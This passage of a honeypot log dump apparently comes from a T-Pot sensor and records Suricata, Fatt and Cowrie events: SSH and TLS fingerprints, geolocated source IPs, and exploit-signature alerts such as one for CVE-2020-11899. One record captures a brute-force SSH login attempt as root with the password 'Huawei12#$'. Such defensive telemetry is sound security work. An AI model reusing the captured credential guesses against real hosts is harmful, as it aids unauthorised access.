"..........Md.y.O.........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33414	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:37.067507+03	2021-09-20 15:00:05.825722+03	{"_id": "vgYPA3wBvYTbRNuExU_W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55274, "timestamp": "2021-09-20T11:55:37.067507", "@timestamp": "2021-09-20T11:55:37.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33415	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:55:39.547789+03	2021-09-20 15:00:05.826723+03	{"_id": "1wYPA3wBvYTbRNuE0E-C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 1958567208532318, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53972, "dest_port": 22, "timestamp": "2021-09-20T11:55:39.547789Z", "@timestamp": "2021-09-20T11:55:39.547Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33416	96.78.175.36	109.199.241.180	Fatt	2021-09-20 14:55:39.547895+03	2021-09-20 15:00:05.828722+03	{"_id": "2gYPA3wBvYTbRNuE0U-P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53972, "dest_port": 22, "timestamp": "2021-09-20T11:55:39.547895", "@timestamp": "2021-09-20T11:55:39.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33417	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:55:40.221986+03	2021-09-20 15:00:05.829722+03	{"_id": "2AYPA3wBvYTbRNuE0U-P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35844, "timestamp": "2021-09-20T11:55:40.221986", "@timestamp": "2021-09-20T11:55:40.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33418	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:55:20.665555+03	2021-09-20 15:00:05.830721+03	{"_id": "jAYPA3wBvYTbRNuEhE_4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "6d9baee1c037", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:55:20.665555Z", "@timestamp": "2021-09-20T11:55:20.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33419	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:55:20.701376+03	2021-09-20 15:00:05.831722+03	{"_id": "jQYPA3wBvYTbRNuEhE_4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr"], "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "98ddc5604ef6a1006a2b49a58759fbe6", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6", "session": "6d9baee1c037", "@version": "1", "timestamp": "2021-09-20T11:55:20.701376Z", "@timestamp": "2021-09-20T11:55:20.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33420	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:55:20.851128+03	2021-09-20 15:00:05.833722+03	{"_id": "jgYPA3wBvYTbRNuEhE_4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.login.failed", "message": "login attempt [root/Huawei12#$] failed", "session": "6d9baee1c037", "@version": "1", "password": "Huawei12#$", "username": "root", "timestamp": "2021-09-20T11:55:20.851128Z", "@timestamp": "2021-09-20T11:55:20.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33426	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:55:21.925176+03	2021-09-20 15:00:05.840722+03	{"_id": "lwYPA3wBvYTbRNuEiE_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "6d9baee1c037", "@version": "1", "duration": 1.2598576545715332, "timestamp": "2021-09-20T11:55:21.925176Z", "@timestamp": "2021-09-20T11:55:21.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33421	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:55:20.457852+03	2021-09-20 15:00:05.834722+03	{"_id": "jwYPA3wBvYTbRNuEhk9A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:20.457852+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 130}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557429021820, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BgAAAP8CAAAAAAAAAAAAAv9Z1KsGAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:20.457852Z", "@timestamp": "2021-09-20T11:55:20.457Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........................................Y.............."}}	1	\N	\N	alert	\N	\N
33422	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:55:20.721799+03	2021-09-20 15:00:05.835722+03	{"_id": "kgYPA3wBvYTbRNuEhk9A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:55:20.721799Z", "@timestamp": "2021-09-20T11:55:20.721Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33423	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:55:20.5561+03	2021-09-20 15:00:05.837723+03	{"_id": "lAYPA3wBvYTbRNuEhk9B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:20.556100+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffff:040f", "flow_id": 1919618296347716, "payload": "AAAAAP6AAAAAAAAAAIZAPXL/BA8=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:55:20.556100Z", "@timestamp": "2021-09-20T11:55:20.556Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..............@=r..."}}	1	\N	\N	alert	\N	\N
33424	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:20.666712+03	2021-09-20 15:00:05.838722+03	{"_id": "lQYPA3wBvYTbRNuEh09P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "178.128.198.1", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42168, "timestamp": "2021-09-20T11:55:20.666712", "@timestamp": "2021-09-20T11:55:20.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33425	178.128.198.1	109.199.241.180	Fatt	2021-09-20 14:55:20.701087+03	2021-09-20 15:00:05.839722+03	{"_id": "lgYPA3wBvYTbRNuEh09P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "178.128.198.1", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "98ddc5604ef6a1006a2b49a58759fbe6", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 42168, "dest_port": 22, "timestamp": "2021-09-20T11:55:20.701087", "@timestamp": "2021-09-20T11:55:20.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33427	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:55:21.550306+03	2021-09-20 15:00:05.842722+03	{"_id": "mAYPA3wBvYTbRNuEik8q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:21.550306+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755834512802, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:21.550306Z", "@timestamp": "2021-09-20T11:55:21.550Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33428	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:55:35.950403+03	2021-09-20 15:00:05.843722+03	{"_id": "pgYPA3wBvYTbRNuEv0-W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "bff6e25bcde7", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T11:55:35.950403Z", "@timestamp": "2021-09-20T11:55:35.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
33429	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:55:36.125751+03	2021-09-20 15:00:05.845722+03	{"_id": "qQYPA3wBvYTbRNuEwE_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:55:35.770362+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 589698854011194, "payload": 